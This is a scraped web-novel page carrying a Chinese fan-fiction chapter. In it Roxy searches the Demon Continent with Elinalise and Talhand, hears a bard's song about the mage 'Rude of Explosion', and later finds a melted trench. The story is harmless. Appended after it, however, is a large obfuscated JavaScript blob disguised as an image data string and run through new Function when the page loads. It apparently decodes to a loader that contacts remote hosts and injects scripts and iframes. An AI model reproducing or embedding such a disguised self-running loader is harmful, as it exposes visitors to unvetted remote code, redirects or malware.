首页
第8章 间章「洛琪希错过的事
返回

第8章 间章「洛琪希错过的事物」上篇

章节报错(免登陆)

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第8章间章「洛琪希错过的事物」上篇(第1/2页)
    ★洛琪希观点★
    离开西隆王国时,空气里还残留着未尽的初春寒意。
    王都的街道在马车车轮的碾压下发出单调的辘辘声,那声音单调得让人忍不住去想一些其实已经没有答案的事情。
    行李并不多,一套替换的长袍,几本用防水油布仔细包好的魔术典籍,还有被我放在贴身口袋里,被体温捂得温热的那叠信件。
    那是一封封字迹从歪歪扭扭的孩童涂鸦,渐渐转变为工整流畅字体的信。
    东方天空那场将云层搅得如同大理石纹路般的异变,至今仍牢牢黏在我的视网膜上。那庞大到足以扭曲大气、隔着遥远距离依然能让魔术师肌肤战栗的魔力波动,绝对和普通的自然现象毫无关联。
    根据王宫速报探子得来的情报,菲托亚领地在一夜之间完全消失。
    这不符合常理的东西让我研究了许久,这段时间还天天往魔术公会跑。
    和其他A级甚至S级的成员探讨的结果都指向一个方向,那就是超大规模的转移魔术。
    不,这种程度已经和大规模魔术没关系了,这是超大规模的魔力灾害。
    而那个方向,正是阿斯拉王国的菲托亚领地。鲁迪乌斯所在的地方。
    我的视线落在车厢外不断后退的景色上。路边的树木光秃秃的,枝丫像干枯的手指指向天空。
    我不知道鲁迪乌斯现在在哪里,也不知道他是否被那场灾难卷入。
    脑海中总是浮现出他那张带着超越年龄的成熟、却又偶尔会露出孩童般狡黠笑容的脸。
    他写信向我询问魔大陆的详细资料,那些连普通魔术师都不愿涉足的凶险之地的种族分布、地形地貌……这些碎片在脑海中拼凑,指向了一个我完全不想去承认的可能性。
    那个十岁的少年,似乎提前预见到了灾难的降临。
    所以,我踏上了旅途。
    在空无一物的菲托亚领地,接下保罗先生的请求之后,我遇到了他们。
    「哎呀,小洛琪希,你回来了~」
    伴随着这句轻佻中带着熟稔的话语,一个金发如同瀑布般卷曲的女性在酒馆的吧台前转过身。
    她穿着暴露的皮甲,领口开得极低,手里端着一杯红色的果酒。
    那双细长的眼睛正饶有兴致地打量着我,嘴角挂着她招牌式的、仿佛在逗弄什么小动物般的笑意。
    艾丽娜丽洁·杜拉冈罗德。保罗曾经的队友。
    「你的语气能不能正经一点?真是的,你这女人不管过了多久,还是这副到处发情的德行。啧。」
    坐在她旁边那张桌子上的,是个身形粗壮的矮人。他手里握着一个比他脑袋还大的木制酒杯,浓密的胡须上沾满了白色的酒沫。粗糙的布衣上带着浓重的土腥味和劣质麦酒的酸气。
    塔尔韩德。同样是黑狼之牙的旧成员。
    我们三人的目的地是一致的。寻找在大转移中失散的人,寻找保罗的家人,寻找鲁迪乌斯。
    于是,队伍就这样顺理成章地组建了起来。
    踏上魔大陆的土地,已经过去好几个月了。
    这里的空气总是弥漫着铁锈和干燥尘土的味道。天空常年呈现出一种病态的黄绿色,仿佛连阳光都在这片土地上失去了温度。
    「呼……又解决了一群。」
    艾丽娜丽洁将细剑在空中甩了一下,甩掉剑刃上的暗色血迹,然后动作优雅地将剑收回剑鞘。她踢了踢脚边一只长着六条腿、形似巨大变色龙的魔物尸体,轻轻撩了一下额前的金发。
    「不过这种程度的运动,连热身都算不上呢。比起这个,我更想找个不错的男人好好『运动』一下。这附近连个像样的村落都没有,我的皮肤都要变得粗糙了。」
    她用手背贴着脸颊,发出一声长长的叹息。
    「别发情了,你这欲求不满的女人。要是把力气都用在那种事上,遇到真正难缠的家伙时,你最好死在哪里的路边。」
    塔尔韩德扛着他那把沉重的战斧,从另一侧走过来。他的斧刃上也沾着魔物的血。他一边走,一边从腰间解下酒壶,拔开塞子猛灌了一口,随后用手背粗鲁地抹了把胡子。
    「哈啊——这鬼地方的酒真难喝。不过总比没有好。」
    我握着魔杖,站在他们身后。刚才那几只魔物,大部分是被塔尔韩德的土魔术限制了行动,然后被艾丽娜丽洁迅速解决的。我只来得及补上了两发水弹。
    「还要继续走多久才能到下一个城镇?」我看着前方仿佛没有尽头的荒野,出声问道。
    艾丽娜丽洁从怀里摸出一张皱巴巴的羊皮纸地图,展开看了看。
    「按照我们现在的速度,大概还要两天。那个叫什么……库拉塔的镇子。嘛,希望那里能有可以让我好好吃掉的好男人,再这样下去我真的会枯萎的哦。」
    塔尔韩德重重地哼了一声,没再接话。
    在魔大陆旅行,每天都要面对恶劣的环境和随时可能出现的魔物袭击。
    晚上露宿时,气温会降到冰点以下。我们只能依靠我用水魔术和火魔术配合制造的简易土堡来抵御严寒和夜行魔物。
    晚餐通常是烤得干巴巴的魔物肉,即使洒了随身携带的盐巴,那股腥臊味依然让人难以下咽。
    「要是鲁迪在就好了.....」
    某天晚上,我坐在篝火旁,咬了一口坚硬如石的肉干,忍不住低声说道。
    小小的一只,虽然可能有点好色,但光是抱在怀里就能治愈心灵吧。
    「那个小鬼?啊,是保罗的儿子吧?听说他在魔术上很有天赋。」
    塔尔韩德往火堆里扔了一块木柴,火星噼啪作响。
    我把肉干放下,拿出水壶喝了一口。
    「何止是有天赋,他五岁的时候就能无咏唱施展水圣级魔术了。而且他对魔术的理解……有时候连我都觉得自愧不如。」
    艾丽娜丽洁靠在土墙上,正用一块磨刀石修整剑刃。她闻言抬起头,眼睛微微眯起。
    「哦?保罗那个只知道下半身思考的家伙,居然能生出这么厉害的儿子?听起来是个很不错的原石呢。等他长大了,说不定会变成个极品的好男人。哎呀,真想早点见到他,好好教导他一下大人的事情哦。」
    她伸出舌头,轻轻舔了一下嘴唇。
    我下意识地握紧了魔杖。
    「请你收起那种危险的想法,艾丽娜丽洁小姐。鲁迪乌斯他……他还是个孩子。而且他是个非常认真、懂事的孩子,绝对不会被你这种轻浮的举动诱惑的。」
    我的语速不由自主地变快了。
    艾莉娜丽洁看着我,嘴角的笑意更深了。
    「呵呵,是吗?那可说不定呢。男孩子在那个年纪,对大姐姐可是充满好奇的。不过洛琪希你这么护着他……难道说,你已经把他当成自己未来的……」
    「请不要说这种奇怪的话!」
    我立刻反驳,声音大得让正在喝酒的塔尔韩德都转过头来看了我一眼。
    脸颊开始发烫。我低下头,盯着跳动的篝火。
    只是师徒关系而已。他是我的弟子,我关心他的安危是理所当然的。
    那封信里写的求婚,不过是小孩子对老师的憧憬罢了。怎么可能当真。
    ★★★
    两天后,我们抵达了库拉塔镇。
    和魔大陆其他的城镇一样,这里也是由粗糙的石块和巨兽的骨骼搭建而成。街道上弥漫着牲畜粪便和劣质香料混合的气味。
    我们找了一家看起来还算坚固的旅店安顿下来。塔尔韩德一进镇子就直奔酒馆去了,艾丽娜丽洁则以「去打听情报」为名,钻进了某条看起来很不妙的巷子。
    我独自一人去了冒险者公会。
    公会大厅里充斥着各种族冒险者的喧哗声。我走到布告栏前,目光在一张张粗糙的羊皮纸上搜寻。
    讨伐魔物、护送商队、寻找失物……
    没有。
    没有任何关于阿斯拉王国转移灾害寻人的委托。
    也没有看到保罗或者塞妮丝留下的标记。
    我走到柜台前,向那个长着蜥蜴头部的接待员询问。
    「请问,最近有一批从中央大陆来的人在这里发布过寻人委托吗?或者,有没有一个叫鲁迪乌斯·格雷拉特的少年来过这里?」
    接待员吐了吐分叉的舌头,翻开一本厚厚的登记簿。
    「中央大陆的人?那种细皮嫩肉的家伙在魔大陆可活不长。至于你说的那个名字……没有记录。最近来注册的新人队伍倒是有几个,但没听到有叫这个名字的。」
    意料之中的回答,但心底还是不可避免的涌起了一股失望的情绪。
    我道了谢,转身走出公会。
    傍晚时分,我们三人在塔尔韩德找到的那家酒馆汇合。
    酒馆里光线昏暗,几盏摇晃的魔力灯投下浑浊的光晕。空气里飘着烤肉的焦香和浓烈的酒气。
    我端着一杯清水,坐在角落的桌子旁。塔尔韩德面前已经堆了三个空酒桶。艾丽娜丽洁则是满面红光地走了过来,在塔尔韩德旁边坐下。
    「怎么样,有收获吗?」塔尔韩德打了个酒嗝。
    「别提了。」艾丽娜丽洁用手指卷着金发,慵懒的说着,「这镇子上的男人,虽然体力是不错,但脑袋里除了肌肉什么都没有。打听了一圈,根本没人听说过鲁迪乌斯或者塞妮丝的名字。」
    她转头看向我。
    「洛琪希你那边呢?」
    我摇了摇头。
    「冒险者公会也没有记录。」
    线索完全断了。
    魔大陆这么大,要找几个人简直就像大海捞针。
    什么时候才能见到你呢?鲁迪.....
    就在这时,酒馆中央的圆形小木台上,走上去一个抱着破旧木琴的男人。
    那是个魔族,有着灰色的皮肤和尖尖的耳朵。他拨弄了一下琴弦,清脆的声音让喧闹的酒馆稍微安静了一些。
    「各位远道而来的旅人,在刀口舔血的勇士们!今晚,我要为大家传唱一段最近在魔大陆传得沸沸扬扬的英雄事迹!」
    他清了清嗓子,木琴的节奏变得激昂起来。
    (本章未完,请点击下一页继续阅读)第8章间章「洛琪希错过的事物」上篇(第2/2页)
    「那是一支来自远方的队伍!他们不畏惧魔大陆的风沙,不畏惧夜晚的恐怖!他们的名字,叫做『DeadEnd』!」
    听到这个名字,我微微皱起眉。
    DeadEnd?斯佩路德族?
    那个被全大陆畏惧的、传说中杀人不眨眼的恶魔种族的名字,居然被用来当做冒险者队伍的名称?
    塔尔韩德放下酒杯,哼了一声:「用那种名字,真是不怕死。」
    艾丽娜丽洁单手托腮:「说不定是哪个想出名想疯了的新人队伍呢。这种事在外面很常见哦。」
    吟游诗人没有理会台下的窃窃私语,继续高声唱道:
    「但这并非传闻中那个带来死亡的恶魔!这支队伍,是拯救弱者的利刃!」
    「队伍中,有着挥舞双刃的狂犬剑士!她那一头宛如鲜血般燃烧的红发,在战场上犹如盛开的死亡之花!任何胆敢靠近的魔物,都会被她瞬间切成碎片!」
    「还有那位传说中的斯佩路德族战士!他额头的红宝石如同审判的独眼,手中的三叉枪是划破黑夜的闪电!他背负着被诅咒的名号,却行使着守护的职责!而这一切都是为了洗刷族群的污名!」
    「然而!在这支队伍中,最为耀眼,最为神秘的,是那位被称作『爆炎』的魔术师!」
    我的手指在木杯边缘停住了。
    爆炎?
    「他!有着一头银灰色的长发,高高地扎在脑后!他的右眼上,有着一道贯穿的伤疤,那是他历经无数生死搏杀的证明!」
    「他看起来还是个少年!却有着连最老练的战士都自叹不如的沉稳与可靠!在最危险的时刻,他总是像一座山一样挡在同伴面前!」
    银灰色头发,马尾,右眼的伤疤,少年。
    这些特征在我的脑海中迅速拼凑。
    我的心跳不知为何漏了一跳。
    一个历经沧桑、眼神冷峻却又可靠的少年魔术师的形象,在脑海中逐渐成型。
    那种在绝境中保护同伴的姿态……
    不得不承认,这完全正中了我的喜好。
    我喜欢那种比自己强大、或者至少在某方面能让我尊敬的男性。成熟、稳重,能够在关键时刻让人依靠。
    而不是帕库斯那种只会仗着身份胡作非为的让人头疼的孩子。
    虽然听起来年纪不大,但能在魔大陆这种地方生存下来,还保护着同伴,心智绝对非常成熟。
    「那是发生在利卡里斯镇的一场浩劫!」
    吟游诗人的琴声变得急促而沉重。
    「黑夜中,数以百计的魔狼如同潮水般涌向城镇!其中,甚至夹杂着那恐怖的、足以摧毁城墙的芬里斯巨狼王!」
    「守卫们战栗!冒险者们绝望!就在城镇即将被这股黑色洪流吞没的时刻!」
    「他站了出来!」
    「『爆炎的鲁德』举起了他手中的魔杖!」
    鲁德?
    听到这个名字,我愣了一下。
    只有一个字的差别。
    但银发、伤疤……这完全对不上我记忆中那个茶色头发、有着温和绿色眼睛的可爱男孩。
    而且鲁迪乌斯也不可能用这么粗狂的战斗方式。
    大概只是名字相似的另一个人吧。
    但我还是忍不住竖起耳朵,继续听下去。
    「只见他面对那如同山岳般的狼王和无尽的狼群,没有丝毫的退缩!他高举魔杖,口中吟唱出那足以震碎星辰的咒语!」
    诗人深吸了一口气,用一种夸张到极点的、仿佛要将声带撕裂的音量吼道:
    「比黑色更黑,比黑暗更暗的漆黑!」
    「在此寄托吾真红的金光吧!」
    「觉醒之时已然到来,坠入无谬之境界的真理,化作无形的扭曲,显现吧!」
    「起舞吧,起舞吧,起舞吧!吾之力本源所望,即是崩坏!」
    「无人可及的崩坏将天地万象化为灰烬,自深渊降临吧!」
    「爆炸(EXplOSiOn)!!!」
    酒馆里的冒险者们发出一阵欢呼。
    而我,则差点把刚喝进嘴里的一口水喷出来。
    这……这是什么乱七八糟的咒语?!
    作为水王级魔术师,我对各系魔术的咏唱构造都有着极深的了解。
    魔术的咏唱,本质上是通过语言的频率来引导体内的魔力,使其与外界的元素产生共鸣。
    每一个音节都对应着特定的魔力回路构建。比如火属性魔术的咏唱,通常需要包含「温度聚集」、「形态塑造」和「释放方向」的关键词。
    可是这段咏唱……根本就是无论如何都行不通的!
    整段咏唱,除了最后一个词「爆炸」勉强算是个指向性指令外,前面的内容全都是毫无意义的中二修辞!
    这根本不符合魔术原理!如果真的有人按照这段咒语去引导魔力,唯一的下场就是魔力在体内暴走,把自己炸成焦炭!
    「那一道赤红的光柱,如同开天辟地的神罚!」诗人还在台上声嘶力竭地描述着,「它瞬间贯穿了整个战场!将大地熔化!将数百只魔狼连同那不可一世的狼王,彻底蒸发在光芒之中!」
    「利卡里斯镇得救了!在『爆炎的鲁德』那毁天灭地的力量面前,任何邪恶都只能化为灰烬!」
    台下爆发出热烈的掌声和口哨声。
    塔尔韩德抓着胡子大笑:「哈哈哈哈!这牛皮吹得可真够大的!一击把几百只狼和狼王蒸发?那得是帝级以上的魔术了吧!就凭一个少年?还在魔大陆?」
    艾丽娜丽洁也掩着嘴轻笑:「嘛,说书人总是喜欢夸张嘛。不过如果真的有这么一个银发的高强少年,我还真想见识一下他其他的『本领』呢。」
    我紧紧握着木杯,手指在杯壁上无意识地敲击着。
    虽然理智告诉我那段咏唱荒谬至极,但诗人口中描述的那种破坏力,却让我作为魔术师的本能产生了一丝微不可察的悸动。
    将大地熔化的光柱?
    如果真的存在,那需要何等恐怖的魔力压缩技巧?
    那个叫「鲁德」的少年,究竟是如何控制那种规模的魔力的?
    而且……
    带着红发剑士,还有一个小女孩?
    诗人之前提到过,队伍里还有个小女孩。
    银灰发,伤疤,少年。
    这个形象,就像一颗种子,在脑海里悄悄扎了根。
    明明知道那大概率只是个吟游诗人为了吸引眼球而杜撰出来的夸张故事,但那种「在绝境中挡在最前面」的可靠感,还是让我心跳的节奏比平时快了那么一点。
    ★★★
    几天后,我们来到了利卡里斯镇的东门外。
    这是我们前往比耶寇亚地区的必经之路。
    到达镇外的一处高地时,塔尔韩德的脚步停住了。
    他没有喝酒,粗壮的手指紧紧抓着战斧的斧柄。
    艾丽娜丽洁也不再摆弄她的金发,那双总是带着轻佻笑意的细长眼睛,此刻微微睁大。
    我顺着他们的视线看过去。
    呼吸在瞬间停滞。
    在我们前方的平原上,出现了一道长达一公里的巨大沟壑。
    这绝对不是自然形成的地貌裂缝。
    沟壑的两侧边缘,呈现出一种诡异的平滑感。那是因为岩石在极度的高温下瞬间熔化,然后又迅速冷却凝固所形成的玻璃化现象。
    在魔大陆这种常年被灰尘覆盖的地方,那道玻璃化的焦黑沟壑就像是大地张开的一张狰狞的巨口,在微弱的阳光下反射着刺眼的冷光。
    我快步走下高地,来到沟壑边缘。
    蹲下身,伸出手,指尖轻轻触碰那黑色的玻璃状岩石表面。
    要有多高的温度才能把石头熔化成这样呢?
    我站起身,沿着沟壑的边缘向前走。三十米宽,一公里长。
    要在瞬间造成这样的破坏地形,需要的不仅仅是庞大的魔力总量。
    更可怕的是魔力的输出功率和控制力。
    如果在释放的瞬间魔力控制稍有不稳,这种级别的魔法就会反噬施术者自身。
    「喂,洛琪希。」
    塔尔韩德走了过来,声音难得地严肃。
    「这可不得了啊……」
    「嗯。」
    我点了点头,喉咙有些发干。
    「是魔术造成的。而且,至少是王级,甚至是帝级以上的火属性攻击魔术。」
    艾丽娜丽洁走到我身边,看着眼前的景象,嘴角的笑意完全收敛。
    「看来,那个酒馆里的吟游诗人,并不全是吹牛啊。」
    我的脑海中再次浮现出那个荒谬的咒语。
    「比黑色更黑,比黑暗更暗的漆黑……」
    怎么可能?
    那种毫无逻辑的修辞堆砌,怎么可能构建出如此精密且恐怖的魔力回路?
    难道说,在这个世界上,真的存在某种我完全未知的、超越了常理的魔术体系?
    或者说……那个叫「鲁德」的少年,他根本就不需要咏唱来构建回路?
    无咏唱?
    这三个字在脑海中闪过的瞬间,鲁迪乌斯五岁时在庭院里随手释放水弹的画面突兀地跳了出来。
    不,不可能的。鲁迪乌斯是茶色头发。而且他才十岁,怎么可能来到魔大陆,还拥有这种级别的破坏力。
    这一定是另有其人。
    一个银灰色头发,右眼有伤疤,实力深不可测,却又喜欢用这种奇怪咒语来伪装自己的天才魔术师。
    这究竟是怎样的一个人?
    我的手指无意识地绞紧了长袍的衣角。
    真想见见他。
    想要当面请教他关于魔力压缩的技巧。想要问问他那段咒语到底隐藏着什么秘密。
    如果他真的是那种可靠的少年……
    心跳又开始加速了。
    这种感觉真是太奇怪了,明明连对方的长相都是自己脑补出来的。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();